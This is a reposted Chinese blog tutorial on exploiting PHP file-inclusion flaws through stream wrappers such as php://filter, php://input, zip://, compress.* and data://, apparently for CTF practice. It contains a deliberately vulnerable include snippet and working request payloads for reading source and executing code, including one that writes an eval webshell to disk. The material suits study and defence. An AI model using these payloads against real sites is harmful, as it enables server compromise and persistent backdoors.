php伪协议实现命令执行的七种姿势_php minglingzhixiang-程序员宅基地

技术标签: 靶机  信息安全  php  

首先归纳下常见的文件包含函数:include、require、include_once、require_once、highlight_file 、show_source 、readfile 、file_get_contents 、fopen 、file,计划对文件包含漏洞与php封装协议的利用方法进行总结,本篇先总结下一些封装协议,涉及的相关协议:file://、php://filter、php://input、zip://、compress.bzip2://、compress.zlib://、data://,后续再对每个文件包含函数进一步进行探讨。

环境概要:

PHP.ini:

allow_url_fopen :on  默认开启  该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off  默认关闭,该选项为on便是允许 包含URL 对象文件等。

为了能够尽可能的列举所有情况本次测试使用的PHP版本为>=5.2 具体为5.2,5.3,5.5,7.0;PHP版本<=5.2 可以使用%00进行截断。

0x01 是否截断问题:

本篇由以下这个简单的例子进行探讨,首先看如下两种文件包含情况。

情况一:不需要截断:

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt

<?php

include($_GET['file'])

?>

情况二:需要截断:

在php版本<=5.2中进行测试是可以使用%00截断的。

http://127.0.0.1/test.php?file=file:///c:/users/Thinking/desktop/flag.txt%00

<?php

include($_GET['file'].'.php')

?>

0x02 allow_url_fopen与allow_url_include是否开启的问题:

 

【file://协议】

PHP.ini:

file:// 协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响

参考自:http://php.net/manual/zh/wrappers.file.php

02 1.png

使用方法:

file:// [文件的绝对路径和文件名]

http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

02 2.png

【php://协议】

条件:

不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。

php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input,php://filter用于读取源码,php://input用于执行php代码。

参考自:http://php.net/manual/zh/wrappers.php.php#refsect2-wrappers.php-unknown-unknown-unknown-descriptioq

php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

PHP.ini:

php://filter在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

 02 3.png

测试现象:

http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

 02 4.png

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

PHP.ini:

allow_url_fopen :off/on

allow_url_include:on

02 5.png

测试现象:

http://127.0.0.1/cmd.php?file=php://input

[POST DATA] <?php phpinfo()?>

也可以POST如下内容生成一句话: <?php fputs(fopen("shell.php","w"),'<?php eval($_POST["cmd"];?>');?>

02 6.png

【zip://, bzip2://, zlib://协议】

PHP.ini:

zip://, bzip2://, zlib://协议在双off的情况下也可以正常使用;

allow_url_fopen :off/on

allow_url_include:off/on

zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名。

参考自:http://php.net/manual/zh/wrappers.compression.php

02 7.png

 

【zip://协议】

使用方法:

zip://archive.zip#dir/file.txt

zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

测试现象:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

先将要执行的PHP代码写好文件名为phpcode.txt,将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传,若不能便将file.zip重命名为file.jpg后在上传,其他几种压缩格式也可以这样操作。

由于#在get请求中会将后面的参数忽略所以使用get请求时候应进行url编码为%23,且此处经过测试相对路径是不可行,所以只能用绝对路径。

02 8.png

 

【bzip2://协议】

使用方法:

compress.bzip2://file.bz2

 

测试现象:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

 BZ.png

【zlib://协议】

使用方法:

compress.zlib://file.gz

测试现象:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg

or

http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

 zlib.png

【data://协议】

经过测试官方文档上存在一处问题,经过测试PHP版本5.2,5.3,5.5,7.0;data:// 协议是是受限于allow_url_fopen的,官方文档上给出的是NO,所以要使用data://协议需要满足双on条件

PHP.ini:

data://协议必须双在on才能正常使用;

allow_url_fopen :on

allow_url_include:on

参考自:http://php.net/manual/zh/wrappers.data.php, 官方文档上allow_url_fopen应为yes。

 data.png

 

测试现象:

http://127.0.0.1/cmd.php?file=data://text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

也可以:

http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

or

http://127.0.0.1/cmd.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

 ceshi.png

0x03  常规小结:

PHP封装协议在CTF蛮常见的,是经常会遇到的出题点,如下便是对本篇涉及的封装协议进行的总结,期待小伙伴的交流和补充。

常规小节.png

 

转载:https://www.freebuf.com/column/148886.html

https://blog.csdn.net/nzjdsds/article/details/82461043

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/devil8123665/article/details/113173298

智能推荐

51单片机 IIC OLED驱动显示通用程序模板_51单片机oled显示程序-程序员宅基地

文章浏览阅读5.6k次,点赞16次,收藏176次。0.96寸OLED IIC驱动显示通用模板程序代码_51单片机oled显示程序

input[type="file"]的样式以及文件名的显示-程序员宅基地

文章浏览阅读501次。如何美化input[type="file"]基本思路是:(1)首先在 input 外层套一个 div ;(2)将 div 和 input 设置为一样大小(width和height);(3)设置 div 为相对位置, input 为绝对位置,并将 input 的 top 和 right 设为 0 ;这样, div 和 input 就重叠了,点击 div 就相当于点击 input ..._type="file"怎么显示名字

iBarn基于PHP MYSQL开源网盘 - 堪比百度网盘-程序员宅基地

文章浏览阅读3.6k次。iBarn是一个基于PHP的先进的网盘系统,提供文件的网络备份,同步和分享服务。支持断点续传,秒传等功能。可选择文件下载到本地或者在线收藏;回收站功能防止用户误删数据;云存储的不二之选。_ibarn

Robot Framework(3)——RIDE工具详解-程序员宅基地

文章浏览阅读3.4k次,点赞2次,收藏23次。上一篇介绍了用RF来简单运行案例,此篇主要了解一下工具操作一、菜单栏1.File1>New Project:新建工程2>Open Test Suite:打开测试套件3>Open Directory:打开目录4>Save:保存(保存当前鼠标所定位到的案例)5>Save All:保存全部6>展示最近打开的工程,最多展示4个,可..._robotframework-ride中工具栏是插件吗

机器学习中的模型评价策略metric(ROC,PR,AUC,F1)_auc metric-程序员宅基地

文章浏览阅读977次,点赞2次,收藏3次。TP(真阳性 true positives)TN(真阴性 true negatives) FP(假阳性 false positives) FN(假阴性 false negatives)混淆矩阵:图一_auc metric

npm 安装报错 "npm ERR! code Z_BUF_ERROR" 问题解决_npm install zlib: unexpected end of file-程序员宅基地

文章浏览阅读446次。一、引言最近在做vue项目后,需要执行一个 npm install 的命令来安装项目所需要的依赖文件,但是报错了:I’m all done. Running npm install for you to install the required dependencies. If this fails, try running the command yourself.npm ERR! ..._npm install zlib: unexpected end of file

随便推点

机器学习与深度学习中的数学知识点汇总-程序员宅基地

文章浏览阅读928次。点击上方“小白学视觉”,选择加"星标"或“置顶”重磅干货,第一时间送达本文转自|AI算法与图像处理在机器学习与深度学习中需要大量使用数学知识,这是给很多初学带来困难的主..._机器视觉与深度学习涉及的高数知识

如何在ES6中判断类中是否包含某个属性和方法_es6判断对象包含某个属性-程序员宅基地

文章浏览阅读7.5k次。1、应用方法 hasOwnProperty2、应用实例class Student{ constructor(sno,sname,sage,ssex) { this.sno = sno; this.sname = sname; this.sage = sage; this.ssex = ssex; } toString(){..._es6判断对象包含某个属性

尝试手写一个框架(二)手写一个MVC的框架_手写mvc框架-程序员宅基地

文章浏览阅读8.1k次,点赞7次,收藏6次。通过使用servlet,结合注解标记,实现一个简单的实现一个MVC框架_手写mvc框架

Android SVG动画详细例子-程序员宅基地

文章浏览阅读1.7k次,点赞16次,收藏8次。在之前发了一篇关于SVG动画的文章,有小伙伴反应了一些问题,所以出一篇较为详细的动画例子文章,希望有所帮助。_android svg动画

ECC&SM2_sm2 ecc-程序员宅基地

文章浏览阅读3.2k次,点赞2次,收藏13次。ECC全称为椭圆曲线加密,EllipseCurveCryptography,是一种基于椭圆曲线数学的公钥密码。与传统的基于大质数因子分解困难性的加密方法(RSA)不同,ECC依赖于解决。它的优势主要在于相对于其它方法,它可以在使用较短密钥长度的同时保持相同的密码强度。......_sm2 ecc

阿里云-RPA-2-第一个PRA程序_阿里云rpa编辑器-程序员宅基地

文章浏览阅读1.6k次。1、打开RPA机器人编辑器2、新建一个RPA工工程(可以是本地的也可以是远程的)3、添加一个事件节点4、配置对应的结点事件(这里我是使用chrome打开一个url)5、点击执行6、没有报错的话就会正常显示出页面..._阿里云rpa编辑器

推荐文章

热门文章

相关标签